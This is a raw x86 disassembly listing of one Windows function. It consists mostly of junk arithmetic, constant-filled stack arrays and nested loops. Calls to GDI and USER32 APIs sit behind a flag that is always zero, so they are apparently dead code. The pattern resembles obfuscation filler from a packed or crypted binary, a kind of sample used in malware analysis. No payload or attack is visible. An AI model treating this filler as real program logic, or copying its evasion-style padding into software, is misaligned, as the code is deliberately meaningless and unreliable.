mov eax, dword [ebp - 0x40c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
mov ecx, dword [ebp + eax*4 - 0x408]
mov eax, 0xc6200d40
imul ecx, edx
sub eax, ecx
mov dword [ebp - 0x2c], eax
jne 0x1002cf90
dec dword [ebp - 0x18]
jns 0x1002cf23
mov eax, dword [ebp - 0x20]
xor ecx, ecx
push 8
mov eax, dword [ebp + eax*4 - 0x408]
cmp eax, 0x35a02a90
mov eax, dword [ebp - 0x40c]
setg cl
xor ebx, ebx
cmp ecx, 0xf3bc9f
pop ecx
setne bl
inc eax
cmp ecx, eax
push 0
sbb eax, eax
xor edx, edx
neg eax
sub ebx, eax
mov eax, dword [ebp - 0x24]
cmp ebx, eax
mov eax, dword [ebp - 0x198]
setl dl
xor ecx, ecx
cmp edx, eax
pop eax
setge cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1002cf0d
jmp 0x1002cec8
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d012
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 8
xor eax, eax
pop ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jg 0x1002cfef
mov dword [ebp - 0x28], ebx
push 2
mov dword [ebp - 0x1c], eax
pop edi
cmp dword [ebp - 0x1c], edi
jge 0x1002d040
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13f8], 0x7f5aee0c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002d028
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jne 0x1002d15b
mov dword [ebp - 0x30], 0x75286e87
mov dword [ebp - 0x18], 0x88b92280
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002d07a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xda4], 0xc9dffbe5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002d062
xor eax, eax
mov dword [ebp - 0x30], 0xb
or ecx, 0xffffffff
cmp dword [ebp - 0x30], ecx
jl 0x1002d14f
mov dword [ebp - 0x3c], 0xf8067e3
mov dword [ebp - 0x2c], 0x4142b919
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002d0c2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe98], 0x6ce1a812
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002d0aa
xor eax, eax
mov dword [ebp - 0x3c], 0x19
jmp 0x1002d137
mov dword [ebp - 0x24], 0x277ebd00
mov dword [ebp - 0x34], 0xcd17
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002d0f9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x12b0], 0x85734cb4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002d0e1
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002d111
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002d10f
mov edx, ebx
jmp 0x1002d113
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, dword [ebp - 0x2c]
jne 0x1002d129
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002d12b
mov eax, ebx
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x34]
dec dword [ebp - 0x3c]
push 0
pop eax
cmp dword [ebp - 0x3c], 9
jle 0x1002d0cb
dec dword [ebp - 0x30]
or eax, 0xffffffff
cmp dword [ebp - 0x30], eax
push 0
pop eax
jge 0x1002d08d
inc dword [ebp - 0x28]
push 0
pop eax
je 0x1002d04c
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d173
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002d18f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3b0], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002d17b
xor eax, eax
push 5
mov dword [ebp - 0x3ac], eax
pop ecx
jmp 0x1002d1c0
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d1ba
push eax
push 0x64b
push 0xdfc
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 5
xor eax, eax
pop ecx
inc dword [ebp - 0x3ac]
cmp dword [ebp - 0x3ac], ecx
jg 0x1002d19a
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3c], 0xd5b611fb
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002d1fb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd0c], 0xb999fb02
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d1e3
xor eax, eax
push 4
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x1002d21d
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf88], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002d209
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jl 0x1002d3e7
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x2603
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x10], eax
jmp 0x1002d253
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002d242
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd08], eax
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff7
cmp dword [ebp - 0x30], eax
jle 0x1002d3d5
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002d292
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4f4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002d27e
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002d2a8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1180], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d297
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0xf80]
mov eax, dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x117c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x18], 0xc02d
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff8
jl 0x1002d3c6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002d341
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2cc], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002d32f
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1002d372
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2cc]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x2cc]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, ebx
push 5
setl cl
xor eax, eax
cmp ecx, 0xb3bd
pop ecx
setle al
cmp eax, ecx
push 0
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [ebp - 0xd08], ecx
mov eax, dword [ebp - 0x14c]
cmp ecx, eax
mov eax, dword [ebp - 0x4f0]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
mov dword [ebp - 0x2cc], ecx
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff8
jge 0x1002d324
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
push 0
pop eax
jg 0x1002d273
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], ebx
jge 0x1002d229
push 4
pop edx
mov dword [ebp - 0x30], 0x1928c176
mov dword [ebp - 0x30], eax
jmp 0x1002d446
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002d40f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6d4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002d3fb
xor eax, eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0xfffffff1
jle 0x1002d443
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x34], 0xbc662a2b
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x6d0]
cmp dword [ebp - 0x6d0], 0xfffffff1
jg 0x1002d41e
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
jge 0x1002d3f3
mov ecx, 0xf118c84b
mov dword [ebp - 0xcf0], ecx
mov dword [ebp - 0xcec], ecx
mov dword [ebp - 0xce8], ecx
mov dword [ebp - 0xce4], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002d489
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb7c], 0x3342eb90
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d471
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002d4a9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x254], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d491
xor eax, eax
mov dword [ebp - 0x250], edi
cmp dword [ebp - 0x250], eax
jl 0x1002d552
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x28], eax
jmp 0x1002d4d6
mov dword [ebp - 0x2c], 0xa956
cmp dword [ebp - 0x2c], eax
jne 0x1002d4db
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x1002d4c7
mov ecx, dword [ebp - 0x250]
mov eax, dword [ebp - 0x250]
push 0
mov dword [ebp + eax*4 - 0xb7c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp + eax*4 - 0xb7c]
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp + eax*4 - 0xb7c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x254]
mov eax, dword [ebp - 0x250]
cmp eax, 0x37d02268
mov eax, edi
setge cl
sub eax, ecx
mov dword [ebp - 0xcec], eax
dec dword [ebp - 0x250]
pop eax
jns 0x1002d4bb
mov dword [ebp - 0x30], 0xe46a6f4d
mov dword [ebp - 0x20], 0x632667a8
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x40], 0x2aa787d3
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1002d594
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x108], 0x99ff
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1002d57c
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x1002d5b4
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xb34], 0x91ba8027
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x1002d59c
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x1002d5d4
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x7d0], 0xb88dcfd8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x1002d5bc
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002d6ea
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x108]
mov dword [ebp - 0x34], 0xfffffffb
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x108]
cmp dword [ebp - 0x34], eax
jl 0x1002d635
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x108]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x108]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x108]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x108]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xb34], ebx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x7c8], eax
add eax, 0xffff9dd5
je 0x1002d667
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002d6e8
jmp 0x1002d687
mov dword [ebp - 0x10], 0xa
cmp dword [ebp - 0x10], 0xffffffec
jl 0x1002d685
mov eax, dword [ebp - 0xb30]
mov dword [ebp - 0x7c8], eax
dec dword [ebp - 0x10]
jmp 0x1002d66e
xor eax, eax
cmp dword [ebp - 0x7d0], eax
jne 0x1002d6cf
mov eax, dword [ebp - 0x10]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xb34], eax
je 0x1002d6b5
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7c8]
imul ecx, eax
cmp dword [ebp - 0x18], ecx
jle 0x1002d6b5
mov ecx, ebx
jmp 0x1002d6b9
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0xffff
setne al
cmp eax, dword [ebp - 0x18]
jne 0x1002d6cf
xor eax, eax
mov ecx, eax
jmp 0x1002d6d1
mov ecx, ebx
mov eax, dword [ebp - 0x7c8]
sub ecx, eax
mov dword [ebp - 0x10], ecx
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1002d5e0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], 0x86e8
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x18], 0x1cfd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002d722
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1008], 0x6673e7ed
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002d70a
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002d738
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14b0], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d727
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], 0xfffb
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp eax, edx
push 0
setle cl
imul ecx, dword [ebp - 0x18]
pop edx
mov dword [ebp - 0x1000], ecx
mov eax, dword [ebp - 0x3c]
neg eax
mov dword [ebp - 0x1000], eax
setne dl
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002d79c
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xfffffff6
setle cl
cmp ecx, dword [ebp - 0x3c]
jle 0x1002d79a
mov ecx, ebx
jmp 0x1002d79e
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0xe9ab
setl al
add eax, edx
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x18], 0x65e0
mov dword [ebp - 0x24], 0x5b2906c9
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x34], 0x55b6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002d7eb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x118], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002d7d7
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002d801
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2d0], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002d7f0
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002d819
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x118]
inc dword [ebp - 0x2d0]
je 0x1002d839
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x18]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x24]
cmp eax, 0x36d0
setne cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002d891
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1b4], 0xcbad
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d879
xor eax, eax
push 4
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002d8b4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1360], 0x3b910207
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002d89c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002d8d4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x568], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002d8bc
xor eax, eax
mov dword [ebp - 0x564], eax
or edx, 0xffffffff
cmp dword [ebp - 0x564], ecx
jge 0x1002d902
mov eax, dword [ebp - 0x564]
mov dword [ebp + eax*4 - 0x1360], edx
inc dword [ebp - 0x564]
cmp dword [ebp - 0x564], ecx
jl 0x1002d8e5
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002d922
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3b8], 0x52487223
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002d90a
xor eax, eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002d945
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8b4], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002d92d
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002d965
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8b4], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002d94d
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov dword [ebp - 0x10], eax
jmp 0x1002d984
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d981
push eax
push eax
push eax
push eax
call edi
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x1002d970
cmp dword [ebp - 0x1b4], eax
je 0x1002d99b
mov esi, ebx
cmp dword [ebp - 0x1b0], eax
jne 0x1002d99d
mov esi, eax
mov ecx, dword [ebp - 0x1b0]
xor edx, edx
mov eax, dword [ebp - 0x1b4]
neg ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x1b0]
sete dl
sub ecx, 0x99a5671
add ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp esi, ecx
sete al
imul eax, eax, 0x859b
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
imul eax, dword [ebp - 0x1b0]
imul eax, eax, 0x2a0c
test eax, eax
je 0x1002da00
xor eax, eax
cmp dword [ebp - 0x1b0], eax
je 0x1002da02
xor esi, esi
inc esi
mov eax, esi
jmp 0x1002da05
xor eax, eax
xor esi, esi
inc esi
cmp dword [ebp - 0x1b0], eax
je 0x1002da1b
xor eax, eax
cmp dword [ebp - 0x1b0], eax
je 0x1002da1d
mov ecx, esi
jmp 0x1002da1f
xor eax, eax
mov ecx, eax
mov edx, dword [ebp - 0x1b0]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp ecx, 0xcbc21b07
sete al
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1b4]
setle cl
add eax, ecx
cmp eax, dword [ebp - 0x1b0]
je 0x1002e37c
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x2c], 0x389a
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x3c], 0x756fd8c6
mov dword [ebp - 0x34], 0x90707e2
mov dword [ebp - 0x30], eax
jmp 0x1002da91
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x3bc], 0x2b7b88cd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002da80
mov eax, dword [ebp - 0x1c]
mov ecx, 0xe24307a3
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x1c]
jge 0x1002dabb
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002dabd
mov ecx, esi
mov dword [ebp - 0x24], 0xfffd
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
imul eax, ecx
push 3
sub edx, eax
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl bl
xor ecx, ecx
cmp ebx, eax
pop ebx
setge cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
neg ecx
push 2
sbb ecx, ecx
add ecx, 0xe35b
mov dword [ebp - 0x3bc], ecx
mov eax, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x20], 0x97f6af11
mov dword [ebp - 0x2c], 0x629342bb
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x20], 0x12
pop edi
xor eax, eax
cmp dword [ebp - 0x20], 0xffffffe5
jne 0x1002dd17
mov dword [ebp - 0x28], 0xdd3f4672
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], eax
jmp 0x1002db6e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe34], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002db61
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
cmp eax, 0xfffffffe
je 0x1002db9f
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x1002dba1
mov ecx, esi
xor eax, eax
cmp ecx, 6
setne al
cmp eax, esi
jge 0x1002dbb8
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002dbba
mov eax, esi
jmp 0x1002dbba
xor eax, eax
mov ecx, dword [ebp - 0x30]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setle dl
xor eax, eax
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x1002dd0f
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], eax
jl 0x1002dd06
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002dc07
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x12c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002dbf3
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002dd06
mov dword [ebp - 0x12c], eax
jmp 0x1002dcf1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002dc3b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6e8], 0x4f68993d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002dc23
xor eax, eax
mov dword [ebp - 0x6e0], edi
cmp dword [ebp - 0x6e0], eax
jl 0x1002dceb
mov dword [ebp - 0x3c], 0xf47f28a9
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
add ecx, eax
mov eax, dword [ebp - 0x6e0]
mov dword [ebp + eax*4 - 0xe34], ecx
mov eax, dword [ebp - 0x20]
imul eax, ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x13
cmp dword [ebp - 0x3c], 0xfffffff4
jle 0x1002dcdd
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002dcd4
push eax
push 0x242b
push 0x1cb9
push 0x182f
push 0xaea
push 0x226d
push 0x1d8b
push 0x2707
push 0x24f7
push 0x165d
push 0x4d8
push 0x1208
push 0x30f
push 0x199e
call dword [sym.imp.GDI32.dll_CreateFontA]
xor eax, eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff4
jg 0x1002dc81
dec dword [ebp - 0x6e0]
jns 0x1002dc4d
xor eax, eax
inc dword [ebp - 0x12c]
cmp dword [ebp - 0x12c], edi
jle 0x1002dc1b
dec dword [ebp - 0x28]
jns 0x1002dbeb
dec dword [ebp - 0x30]
jns 0x1002dbdf
dec dword [ebp - 0x20]
jmp 0x1002db46
mov byte [ebp - 0x11], al
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0x1ad386cc
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002dd47
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1198], 0x9c4ddb84
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002dd2f
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002dd5d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x1002dd6b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
